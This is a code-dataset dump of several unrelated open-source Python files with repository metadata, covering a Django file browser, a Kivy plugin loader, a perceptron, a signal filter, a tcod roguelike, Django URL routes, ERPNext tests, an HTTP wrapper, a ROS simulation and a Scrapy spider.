[ "MIT" ]

null

rusel/base/context.py

ruslan-ok/ruslan

fc402e53d2683581e13f4d6c69a6f21e5c2ca1f8

[ "MIT" ]

null

import os, time, mimetypes, glob from django.utils.translation import gettext_lazy as _ from django.urls import reverse from task.const import * from task.models import Task, detect_group from rusel.base.config import Config from rusel.base.forms import CreateGroupForm from rusel.context import get_base_context from rusel.utils import extract_get_params class Context: def set_config(self, config, cur_view): self.config = Config(config, cur_view) def get_app_context(self, user_id, search_qty=None, icon=None, nav_items=None, **kwargs): context = {} if hasattr(self, 'object') and self.object: title = self.object.name else: if 'title' in kwargs: title = kwargs['title'] else: title = _(self.config.title).capitalize() nav_item = None if (Task.get_nav_role(self.config.app) != self.config.get_cur_role()): nav_item = Task.get_active_nav_item(user_id, self.config.app) if nav_item: title = (title, nav_item.name) context['nav_item'] = nav_item context.update(get_base_context(self.request, self.config.app, self.config.get_cur_role(), self.config.cur_view_group, (hasattr(self, 'object') and self.object != None), title, icon=icon)) context['fix_list'] = self.get_fixes(self.config.views, search_qty) context['group_form'] = CreateGroupForm() context['config'] = self.config context['params'] = extract_get_params(self.request, self.config.group_entity) if nav_items: context['nav_items'] = nav_items context['add_item_placeholder'] = '{} {}'.format(_('add').capitalize(), self.config.item_name if self.config.item_name else self.config.get_cur_role()) if self.config.add_button: context['add_item_template'] = 'base/add_item_button.html' else: context['add_item_template'] = 'base/add_item_input.html' if (self.config.group_entity in self.request.GET): context['current_group'] = self.request.GET[self.config.group_entity] elif ('ret' in self.request.GET): context['current_group'] = self.request.GET['ret'] return context def get_sorts(self, sorts): ret = [] for sort in sorts: ret.append({'id': sort[0], 'name': _(sort[1]).capitalize()}) return ret def get_fixes(self, views, search_qty): fixes = [] if (self.config.app == APP_ALL): common_url = reverse('index') else: common_url = reverse(self.config.app + ':list') nav_item=Task.get_active_nav_item(self.request.user.id, self.config.app) for key, value in views.items(): url = common_url determinator = 'view' view_id = self.config.main_view if (view_id != key): if ('role' in value): determinator = 'role' view_id = value['role'] url += view_id + '/' else: view_id = key if (key != self.config.main_view): if ('page_url' in value): url += value['page_url'] + '/' else: url += '?view=' + key if (self.config.app in FOLDER_NAV_APPS): folder = '' if ('folder' in self.request.GET): folder = self.request.GET['folder'] if folder: if ('?' in url): url += '&' else: url += '?' url += 'folder=' + folder hide_qty = False if ('hide_qty' in value): hide_qty = value['hide_qty'] if hide_qty: qty = None else: if (view_id == self.config.group_entity): _nav_item = None else: _nav_item = nav_item fix_group = detect_group(self.request.user, self.config.app, determinator, view_id, _(value['title']).capitalize()) qty = self.get_view_qty(fix_group, _nav_item) active = (self.config.cur_view_group.determinator == determinator) and (self.config.cur_view_group.view_id == view_id) fix = { 'determinator': determinator, 'id': view_id, 'url': url, 'icon': value['icon'], 'title': _(value['title']).capitalize(), 'qty': qty, 'active': active, 'search_qty': search_qty, } fixes.append(fix) return fixes def get_view_qty(self, group, nav_item): data = self.get_dataset(group, nav_item=nav_item) return len(data) def get_dataset(self, group, query=None, nav_item=None): if (group.determinator == 'role'): cur_role = group.view_id else: cur_role = self.config.base_role data = Task.get_role_tasks(self.request.user.id, self.config.app, cur_role, nav_item) if (self.config.app == APP_ALL) and (not query): return data if data and ((not group.determinator) or (group.determinator == 'group')): data = data.filter(groups__id=group.id) # if (not group.completed): # data = data.filter(completed=False) if hasattr(self, 'tune_dataset'): return self.tune_dataset(data, group) return data def get_nav_items(self): nav_role = Task.get_nav_role(self.config.app) if (not nav_role) or (nav_role == self.config.cur_view_group.view_id): return None href = self.request.path if ('pk' in self.kwargs): pk = str(self.kwargs['pk']) + '/' if (pk in href): href = href.split(pk)[0] sort = 'name' nav_item_group = detect_group(self.request.user, self.config.app, 'role', nav_role, '') if nav_item_group and nav_item_group.items_sort: sort = nav_item_group.items_sort ret = [] for item in Task.get_role_tasks(self.request.user.id, self.config.app, nav_role).order_by(sort): ret.append({ 'id': item.id, 'name': item.name, 'qty': len(Task.get_role_tasks(self.request.user.id, self.config.app, self.config.cur_view_group.view_id, item)), 'href': href, }) return ret class DirContext(Context): def get_context_data(self, **kwargs): self.config.set_view(self.request) self.object = None self.cur_folder = '' page_title = '' title = '' if ('folder' in self.request.GET): self.cur_folder = self.request.GET['folder'] page_title = self.cur_folder.split('/')[-1:][0] title = self.cur_folder if not self.cur_folder: page_title = _(self.config.app_title) title = page_title kwargs.update({'title': page_title}) dir_tree = [] self.scan_dir_tree(dir_tree, self.cur_folder, self.store_dir.rstrip('/')) self.scan_files() self.object = None context = super().get_context_data(**kwargs) upd_context = self.get_app_context(self.request.user.id, None, icon=self.config.view_icon, nav_items=None, **kwargs) context.update(upd_context) context['title'] = title context['dir_tree'] = dir_tree context['file_list'] = self.file_list context['gps_data'] = self.gps_data if (self.config.cur_view_group.determinator == 'view') and (self.config.cur_view_group.view_id != self.config.main_view): context['cur_view'] = self.config.cur_view_group.view_id context['theme_id'] = 24 context['cur_folder'] = self.cur_folder return context def scan_dir_tree(self, dir_tree, cur_folder, path, parent=None, demo=False): ld = glob.glob(path + '/*/') if not len(ld): return node = '' level = 0 if parent: node = parent['node'] if node: node += '/' node += parent['name'] level = parent['level'] + 1 s_node = node if node: s_node = node + '/' p = path for d in ld: dd = d.replace('\\', '/') name = dd.split(p)[1].strip('/') x = { 'node': node, 'name': name, 'active': (cur_folder == s_node + name), 'level': level, 'qty': 0, } dir_tree.append(x) if not demo: self.scan_dir_tree(dir_tree, cur_folder, path + '/' + name, x) def scan_files(self): self.gps_data = [] self.file_list = [] with os.scandir(self.store_dir + self.cur_folder) as it: for entry in it: if (entry.name.upper() == 'Thumbs.db'.upper()): continue if entry.is_dir(): continue ff = self.store_dir + self.cur_folder + '/' + entry.name mt = mimetypes.guess_type(ff) file_type = '' if mt and mt[0]: file_type = mt[0] self.file_list.append({ 'name': entry.name, 'href': 'file/?folder=' + self.cur_folder + '&file=' + entry.name, 'date': time.ctime(os.path.getmtime(ff)), 'type': file_type, 'size': self.sizeof_fmt(os.path.getsize(ff)), }) return self.gps_data def sizeof_fmt(self, num, suffix='B'): for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: if abs(num) < 1024.0: return f'{num:3.1f}{unit}{suffix}' num /= 1024.0 return f'{num:.1f}Yi{suffix}'

40.078431

196

0.531409

9,859

0.964677

0

946

0.092564

42a0a34d1333c63396ab8f94b968a15d8d78c49d

2,046

py

Python

deepdiy/plugins/system/debugger/debugger.py

IEWbgfnYDwHRoRRSKtkdyMDUzgdwuBYgDKtDJWd/diy

080ddece4f982f22f3d5cff8d9d82e12fcd946a1

[ "MIT" ]

57

2019-05-01T05:27:19.000Z

2022-03-06T12:11:55.000Z

deepdiy/plugins/system/debugger/debugger.py

markusj1201/deepdiy

080ddece4f982f22f3d5cff8d9d82e12fcd946a1

[ "MIT" ]

6

2020-01-28T22:42:22.000Z

2022-02-10T00:13:11.000Z

deepdiy/plugins/system/debugger/debugger.py

markusj1201/deepdiy

080ddece4f982f22f3d5cff8d9d82e12fcd946a1

[ "MIT" ]

13

2019-05-08T03:19:58.000Z

2021-08-02T04:24:15.000Z

import os,rootpath rootpath.append(pattern='main.py') # add the directory of main.py to PATH import glob from kivy.app import App from kivy.lang import Builder from kivy.properties import ObjectProperty,DictProperty,ListProperty from kivy.uix.boxlayout import BoxLayout import logging,importlib,pkgutil class Debugger(BoxLayout): """docstring for Debugger.""" data=ObjectProperty() debug_packages = ListProperty() bundle_dir = rootpath.detect(pattern='main.py') # Obtain the dir of main.py # Builder.load_file(bundle_dir +os.sep+'ui'+os.sep+'demo.kv') def __init__(self): super(Debugger, self).__init__() self.collect_debug_packages() self.run_debug_packages() def collect_debug_packages(self): for importer, modname, ispkg in pkgutil.walk_packages( path=[os.sep.join([self.bundle_dir,'plugins','system','debugger'])], prefix='plugins.system.debugger.', onerror=lambda x: None): if len(modname.split('.'))>4 and '__' not in modname: self.debug_packages.append(modname) def run_debug_packages(self): for modname in self.debug_packages: try: module=importlib.import_module(modname) except Exception as e: logging.warning('Fail to load debug script <{}>: {}'.format(modname,e)) # pass # script_path_list=glob.glob(os.sep.join([ # self.bundle_dir,'plugins','system','debugger','*/'])) # module_names = ['.'.join(path.split(os.sep)[-5:-1]) for path in script_path_list] # module_names = [name+'.'+name.split('.')[-1] for name in module_names] # module_names = [name for name in module_names if name.split('.')[0] == 'plugins' and '__' not in name] # for name in module_names: # print(name) # try:module=importlib.import_module(name) # except Exception as e: # logging.warning('Fail to load debug script <{}>: {}'.format(name,e)) class Test(App): """docstring for Test.""" data=ObjectProperty() plugins=DictProperty() def __init__(self): super(Test, self).__init__() def build(self): demo=Debugger() return demo if __name__ == '__main__': Test().run()

31

106

0.711632

1,695

0.828446

0

848

0.414467

42a141b9ed0d23fd4819a5a6563c8f54190ea8c2

1,885

py

Python

supervised_learning/classification/perceptron/perceptron.py

Ambitious-idiot/python-machine-learning

6c057dd64fb47de3e822b825135d24896ce13a4a

[ "MIT" ]

3

2021-04-15T06:20:31.000Z

2021-05-28T05:26:06.000Z

supervised_learning/classification/perceptron/perceptron.py

Ambitious-idiot/python-machine-learning

6c057dd64fb47de3e822b825135d24896ce13a4a

[ "MIT" ]

null

supervised_learning/classification/perceptron/perceptron.py

Ambitious-idiot/python-machine-learning

6c057dd64fb47de3e822b825135d24896ce13a4a

[ "MIT" ]

null

import numpy as np class Perceptron: def __init__(self, weight, bias=0): self.weight = weight self.bias = bias def __repr__(self): return 'Perceptron(weight=%r, bias=%r)' % (self.weight, self.bias) def __get_predictions(self, data): return np.dot(data, self.weight) + self.bias def sign(self, input_vec): prediction = self.__get_predictions(input_vec) if prediction < 0: return -1 else: return 1 def __get_misclassfied_data(self, dataset, labels): predictions = self.__get_predictions(dataset) misclassified_vectors = predictions * labels <= 0 misclassified_mat = dataset[misclassified_vectors] misclassified_predictions = predictions[misclassified_vectors] misclassified_labels = labels[misclassified_vectors] return misclassified_mat, misclassified_labels, misclassified_predictions def __get_loss(self, dataset, labels): _, _, misclassified_predictions = self.__get_misclassfied_data(dataset, labels) return abs(misclassified_predictions).sum() def __optimize_with_sgd(self, dataset, labels, learning_rate=0.1): misclassified_mat, misclassified_labels, misclassified_predictions \ = self.__get_misclassfied_data(dataset, labels) rand_index = int(np.random.uniform(0, len(misclassified_labels))) self.weight = self.weight + learning_rate * misclassified_labels[rand_index] * misclassified_mat[rand_index] self.bias = self.bias + learning_rate * misclassified_labels[rand_index] def train(self, dataset, labels, loops=100): for loop in range(loops): if self.__get_loss(dataset, labels) == 0: break learning_rate = 1 / (1 + loop) + 0.0001 self.__optimize_with_sgd(dataset, labels, learning_rate)

40.106383

116

0.682228

1,863

0.988329

0

32

0.016976

42a1c00f35b59908451cfee2563f53a899db2598

901

py

Python

pygama/dsp/_processors/trap_filter.py

sweigart/pygama

3c5fe4c69230814933b2de879b9a305ff0d4ad5e

[ "Apache-2.0" ]

1

2022-01-19T14:31:56.000Z

pygama/dsp/_processors/trap_filter.py

sweigart/pygama

3c5fe4c69230814933b2de879b9a305ff0d4ad5e

[ "Apache-2.0" ]

1

2020-12-08T20:07:24.000Z

pygama/dsp/_processors/trap_filter.py

sweigart/pygama

3c5fe4c69230814933b2de879b9a305ff0d4ad5e

[ "Apache-2.0" ]

null

import numpy as np from numba import guvectorize @guvectorize(["void(float32[:], int32, int32, float32[:])", "void(float64[:], int32, int32, float64[:])", "void(int32[:], int32, int32, int32[:])", "void(int64[:], int32, int32, int64[:])"], "(n),(),()->(n)", nopython=True, cache=True) def trap_filter(wf_in, rise, flat, wf_out): """ Symmetric trapezoidal filter """ wf_out[0] = wf_in[0] for i in range(1, rise): wf_out[i] = wf_out[i-1] + wf_in[i] for i in range(rise, rise+flat): wf_out[i] = wf_out[i-1] + wf_in[i] - wf_in[i-rise] for i in range(rise+flat, 2*rise+flat): wf_out[i] = wf_out[i-1] + wf_in[i] - wf_in[i-rise] - wf_in[i-rise-flat] for i in range(2*rise+flat, len(wf_in)): wf_out[i] = wf_out[i-1] + wf_in[i] - wf_in[i-rise] - wf_in[i-rise-flat] + wf_in[i-2*rise-flat]

37.541667

102

0.558269

0

848

0.941176

0

228

0.253052

42a664bd1e777200555f859b46debbdacf24989f

61

py

Python

other.py

nunenuh/idcard_datagen

694a1736f0f5c97c22462474991a6e32456f9498

[ "MIT" ]

1

2020-09-30T04:34:01.000Z

other.py

nunenuh/idcard_datagen

694a1736f0f5c97c22462474991a6e32456f9498

[ "MIT" ]

null

other.py

nunenuh/idcard_datagen

694a1736f0f5c97c22462474991a6e32456f9498

[ "MIT" ]

null

def is_true(a,b,c,d,e,f,g): if a>10: print(10)

10.166667

27

0.47541

0

42a67cbf934d63272df061aa18d737365bf0fa29

5,109

py

Python

pilferer/engine.py

Sebastian-dm/pilferer

5126377154c7ba08fbea1a9dfad752bf8b1c72a9

[ "MIT" ]

null

pilferer/engine.py

Sebastian-dm/pilferer

5126377154c7ba08fbea1a9dfad752bf8b1c72a9

[ "MIT" ]

null

pilferer/engine.py

Sebastian-dm/pilferer

5126377154c7ba08fbea1a9dfad752bf8b1c72a9

[ "MIT" ]

null

import tcod from input_handlers import handle_keys from game_states import GameStates from render_functions import clear_all, render_all, RenderOrder from map_objects.game_map import GameMap from fov_functions import initialize_fov, recompute_fov from entity import Entity, get_blocking_entity_at_location from components.fighter import Fighter from death_functions import kill_monster, kill_player VERSION = "0.2" FONT = 'assets/arial10x10.png' screen_width = 80 screen_height = 50 map_width = 80 map_height = 45 room_max_size = 10 room_min_size = 6 max_rooms = 30 fov_algorithm = 0 fov_light_walls = False fov_radius = 10 max_monsters_per_room = 3 colors = { 'dark_wall': tcod.Color(0, 0, 0), 'light_wall': tcod.Color(120, 120, 80), 'dark_ground': tcod.Color(150, 150, 150), 'light_ground': tcod.Color(200, 200, 150) } def main(): """ Main game function """ fighter_component = Fighter(hp=30, defense=2, power=5) player = Entity(0, 0, '@', tcod.white, 'Player', blocks=True, render_order=RenderOrder.ACTOR, fighter=fighter_component) entities = [player] # Import font tcod.console_set_custom_font(FONT, tcod.FONT_TYPE_GREYSCALE | tcod.FONT_LAYOUT_TCOD) # Console initialization tcod.console_init_root(screen_width, screen_height, 'Pilferer %s'%VERSION, False, vsync=False) con = tcod.console.Console(screen_width, screen_height) # Mapping game_map = GameMap(map_width, map_height) game_map.make_map(max_rooms, room_min_size, room_max_size, map_width, map_height, player, entities, max_monsters_per_room) # FOV fov_recompute = True fov_map = initialize_fov(game_map) # Variables for holding input key = tcod.Key() mouse = tcod.Mouse() # Game state game_state = GameStates.PLAYERS_TURN # Main game loop while not tcod.console_is_window_closed(): # FOV if fov_recompute: recompute_fov(fov_map, player.x, player.y, fov_radius, fov_light_walls, fov_algorithm) # Draw render_all(con, entities, player, game_map, fov_map, fov_recompute, screen_width, screen_height, colors) fov_recompute = False tcod.console_flush() clear_all(con, entities) # INDPUT HANDLING tcod.sys_check_for_event(tcod.EVENT_KEY_PRESS, key, mouse) action = handle_keys(key) # Command move player_turn_results = [] move = action.get('move') if move and game_state == GameStates.PLAYERS_TURN: dx, dy = move destination_x = player.x + dx destination_y = player.y + dy if not game_map.is_blocked(destination_x, destination_y): target = get_blocking_entity_at_location(entities, destination_x, destination_y) if target: attack_results = player.fighter.attack(target) player_turn_results.extend(attack_results) else: player.move(dx, dy) fov_recompute = True game_state = GameStates.ENEMY_TURN # Command exit exit = action.get('exit') if exit: return True # Command Fullscreen fullscreen = action.get('fullscreen') if fullscreen: tcod.console_set_fullscreen(not tcod.console_is_fullscreen()) # Results for player_turn_result in player_turn_results: message = player_turn_result.get('message') dead_entity = player_turn_result.get('dead') if message: print(message) if dead_entity: if dead_entity == player: message, game_state = kill_player(dead_entity) else: message = kill_monster(dead_entity) print(message) # Monster turns if game_state == GameStates.ENEMY_TURN: for entity in entities: if entity.ai: enemy_turn_results = entity.ai.take_turn(player, fov_map, game_map, entities) for enemy_turn_result in enemy_turn_results: message = enemy_turn_result.get('message') dead_entity = enemy_turn_result.get('dead') if message: print(message) if dead_entity: if dead_entity == player: message, game_state = kill_player(dead_entity) else: message = kill_monster(dead_entity) print(message) if game_state == GameStates.PLAYER_DEAD: break if game_state == GameStates.PLAYER_DEAD: break else: game_state = GameStates.PLAYERS_TURN game_state = GameStates.PLAYERS_TURN if __name__ == '__main__': main()

32.335443

112

0.603249

0

400

0.078293

42a6cbc1a232b14997c3952e709da0eebe84cd51

2,337

py

Python

galaxy/api/v2/urls.py

SamyCoenen/galaxy

7c17ef45e53b0fc2fe8a2c70a99f3947604e0b0e

[ "Apache-2.0" ]

null

galaxy/api/v2/urls.py

SamyCoenen/galaxy

7c17ef45e53b0fc2fe8a2c70a99f3947604e0b0e

[ "Apache-2.0" ]

null

galaxy/api/v2/urls.py

SamyCoenen/galaxy

7c17ef45e53b0fc2fe8a2c70a99f3947604e0b0e

[ "Apache-2.0" ]

null

# (c) 2012-2019, Ansible by Red Hat # # This file is part of Ansible Galaxy # # Ansible Galaxy is free software: you can redistribute it and/or modify # it under the terms of the Apache License as published by # the Apache Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Ansible Galaxy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # Apache License for more details. # # You should have received a copy of the Apache License # along with Galaxy. If not, see <http://www.apache.org/licenses/>. from django.urls import path from galaxy.api.v2 import views app_name = 'api' urlpatterns = [ # Collection Imports URLs path('collection-imports/<int:pk>/', views.CollectionImportView.as_view(), name='collection-import-detail'), # Collection Version list URLs path('collections/<int:pk>/versions/', views.VersionListView.as_view(), name='version-list'), path('collections/<str:namespace>/<str:name>/versions/', views.VersionListView.as_view(), name='version-list'), # Collection Version detail URLs path('collection-versions/<int:version_pk>/', views.VersionDetailView.as_view(), name='version-detail'), path('collections/<str:namespace>/<str:name>/versions/<str:version>/', views.VersionDetailView.as_view(), name='version-detail'), # Collection Version Artifact download URLs path('collection-versions/<int:pk>/artifact/', views.CollectionArtifactView.as_view(), name='version-artifact'), path('collections/<namespace>/<name>/versions/<version>/artifact/', views.CollectionArtifactView.as_view(), name='version-artifact'), # Collection URLs path('collections/', views.CollectionListView.as_view(), name='collection-list'), path('collections/<int:pk>/', views.CollectionDetailView.as_view(), name='collection-detail'), # NOTE: needs to come after 'collections/<int:collection_pk>/versions/' path('collections/<str:namespace>/<str:name>/', views.CollectionDetailView.as_view(), name='collection-detail'), ]

35.953846

75

0.682071

0

1,457

0.623449

42a78f723d388f6c17abd15949a96f2a870ca42a

1,933

py

Python

mindhome_alpha/erpnext/stock/doctype/stock_settings/test_stock_settings.py

Mindhome/field_service

3aea428815147903eb9af1d0c1b4b9fc7faed057

[ "MIT" ]

1

2021-04-29T14:55:29.000Z

mindhome_alpha/erpnext/stock/doctype/stock_settings/test_stock_settings.py

Mindhome/field_service

3aea428815147903eb9af1d0c1b4b9fc7faed057

[ "MIT" ]

null

mindhome_alpha/erpnext/stock/doctype/stock_settings/test_stock_settings.py

Mindhome/field_service

3aea428815147903eb9af1d0c1b4b9fc7faed057

[ "MIT" ]

1

2021-04-29T14:39:01.000Z

# -*- coding: utf-8 -*- # Copyright (c) 2017, Frappe Technologies Pvt. Ltd. and Contributors # See license.txt from __future__ import unicode_literals import frappe import unittest class TestStockSettings(unittest.TestCase): def setUp(self): frappe.db.set_value("Stock Settings", None, "clean_description_html", 0) def test_settings(self): item = frappe.get_doc(dict( doctype = 'Item', item_code = 'Item for description test', item_group = 'Products', description = '<p><span style="font-size: 12px;">Drawing No. 07-xxx-PO132<br></span><span style="font-size: 12px;">1800 x 1685 x 750<br></span><span style="font-size: 12px;">All parts made of Marine Ply<br></span><span style="font-size: 12px;">Top w/ Corian dd<br></span><span style="font-size: 12px;">CO, CS, VIP Day Cabin</span></p>' )).insert() settings = frappe.get_single('Stock Settings') settings.clean_description_html = 1 settings.save() item.reload() self.assertEqual(item.description, '<p>Drawing No. 07-xxx-PO132<br>1800 x 1685 x 750<br>All parts made of Marine Ply<br>Top w/ Corian dd<br>CO, CS, VIP Day Cabin</p>') item.delete() def test_clean_html(self): settings = frappe.get_single('Stock Settings') settings.clean_description_html = 1 settings.save() item = frappe.get_doc(dict( doctype = 'Item', item_code = 'Item for description test', item_group = 'Products', description = '<p><span style="font-size: 12px;">Drawing No. 07-xxx-PO132<br></span><span style="font-size: 12px;">1800 x 1685 x 750<br></span><span style="font-size: 12px;">All parts made of Marine Ply<br></span><span style="font-size: 12px;">Top w/ Corian dd<br></span><span style="font-size: 12px;">CO, CS, VIP Day Cabin</span></p>' )).insert() self.assertEqual(item.description, '<p>Drawing No. 07-xxx-PO132<br>1800 x 1685 x 750<br>All parts made of Marine Ply<br>Top w/ Corian dd<br>CO, CS, VIP Day Cabin</p>') item.delete()

42.021739

338

0.698914

1,749

0.904811

0

1,170

0.605277

42a96ad3b83164695c47573ef1f876f36eb4d891

1,148

py

Python

pybloxy/classes/http.py

R0bl0x10501050/roblox.py

cbbb25878627c2d837caaeb7edf37d0aeda615ae

[ "MIT" ]

null

pybloxy/classes/http.py

R0bl0x10501050/roblox.py

cbbb25878627c2d837caaeb7edf37d0aeda615ae

[ "MIT" ]

null

pybloxy/classes/http.py

R0bl0x10501050/roblox.py

cbbb25878627c2d837caaeb7edf37d0aeda615ae

[ "MIT" ]

null

import logging import requests class Http: def sendRequest(url): payload = requests.get(str(url)) statusCode = payload.status_code content = payload.content if statusCode != 200: return logging.error(f"[Pybloxy - GET] Something went wrong! Error Code: {statusCode}") return content def postRequest(url, payload): payload = requests.post(str(url), data = payload) statusCode = payload.status_code content = payload.content if statusCode != 200: return logging.error(f"[Pybloxy - POST] Something went wrong! Error Code: {statusCode}") return content def patchRequest(url, payload): payload = requests.patch(str(url), data = payload) statusCode = payload.status_code content = payload.content if statusCode != 200: return logging.error(f"[Pybloxy - PATCH] Something went wrong! Error Code: {statusCode}") return content def deleteRequest(url, payload): payload = requests.delete(str(url)) statusCode = payload.status_code content = payload.content if statusCode != 200: return logging.error(f"[Pybloxy - DELETE] Something went wrong! Error Code: {statusCode}") return content

26.697674

93

0.722997

1,116

0.972125

0

266

0.231707

42a99e600220ea6f0c20b482db83263664318f69

1,305

py

Python

resources/nuice_simulations/src/layers_sim/layers_sim_node.py

SpyGuyIan/NUice

47991a848dac244b4c476b4a92f7a27a1f9e5dcc

[ "MIT" ]

1

2021-08-17T00:40:42.000Z

resources/nuice_simulations/src/layers_sim/layers_sim_node.py

SpyGuyIan/NUice

47991a848dac244b4c476b4a92f7a27a1f9e5dcc

[ "MIT" ]

1

2021-01-31T17:15:40.000Z

resources/nuice_simulations/src/layers_sim/layers_sim_node.py

NUMarsIce/NUice

47991a848dac244b4c476b4a92f7a27a1f9e5dcc

[ "MIT" ]

null

#!/usr/bin/env python import rospy from std_msgs.msg import Float64 import random possibleLayers = [140, 50, 80, 200, 100] cur_position = 0.0 def position_callback(msg): global cur_position cur_position = msg.data #Build the layers simulation, then publish material strengths. Lasts 100 seconds. def runLayersSim(): numLayers = random.randint(10,20) a = 1 layers = [] while (a < 1000): size = random.randint(a + 1,1000) - a strength = getNextLayerStrength() setNextLayer(size,strength,layers) a = a + size pub = rospy.Publisher('material_strength', Float64, queue_size = 10) rospy.init_node('layers_node', anonymous=True) rate = rospy.Rate(10) rospy.Subscriber("/drill_motor/cur_position", Float64, position_callback) while((not rospy.is_shutdown()) and cur_position < 1000): pub.publish(layers[int(cur_position)]) rate.sleep() #Get the strength of the next layer from the list of possible layer strengths. def getNextLayerStrength(): l = random.randint(0,len(possibleLayers) - 1) return possibleLayers[l] #Build the next layer of the simulation. def setNextLayer(size,strength,layers): for i in range(1,size): layers.append(strength) if __name__ == '__main__': runLayersSim()

29

81

0.691954

0

289

0.221456

42a9a106ced30891f6bde30e0be69f4978578110

1,121

py

Python

imagescraper/imagescraper/spiders/image_crawl_spider.py

karthikn2789/Scrapy-Projects

84db4ed1a2f38d6fa03d1bfa6a6ebf9fb527f523

[ "MIT" ]

2

2021-04-08T12:48:10.000Z

2021-06-16T09:42:39.000Z

imagescraper/imagescraper/spiders/image_crawl_spider.py

karthikn2789/Scrapy-Projects

84db4ed1a2f38d6fa03d1bfa6a6ebf9fb527f523

[ "MIT" ]

null

imagescraper/imagescraper/spiders/image_crawl_spider.py

karthikn2789/Scrapy-Projects

84db4ed1a2f38d6fa03d1bfa6a6ebf9fb527f523

[ "MIT" ]

6

2020-08-05T09:45:39.000Z

2021-11-16T14:05:20.000Z

import scrapy import re from scrapy.linkextractors import LinkExtractor from scrapy.spiders import CrawlSpider, Rule from ..items import ImagescraperItem class ImageCrawlSpiderSpider(CrawlSpider): name = "image_crawl_spider" allowed_domains = ["books.toscrape.com"] def start_requests(self): url = "http://books.toscrape.com/" yield scrapy.Request(url=url) rules = (Rule(LinkExtractor(allow=r"catalogue/"), callback="parse_image", follow=True),) def parse_image(self, response): if response.xpath('//div[@class="item active"]/img').get() is not None: img = response.xpath('//div[@class="item active"]/img/@src').get() """ Computing the Absolute path of the image file. "image_urls" require absolute path, not relative path """ m = re.match(r"^(?:../../)(.*)$", img).group(1) url = "http://books.toscrape.com/" img_url = "".join([url, m]) image = ImagescraperItem() image["image_urls"] = [img_url] # "image_urls" must be a list yield image

36.16129

92

0.611954

964

0.859946

739

0.659233

0

399

0.355932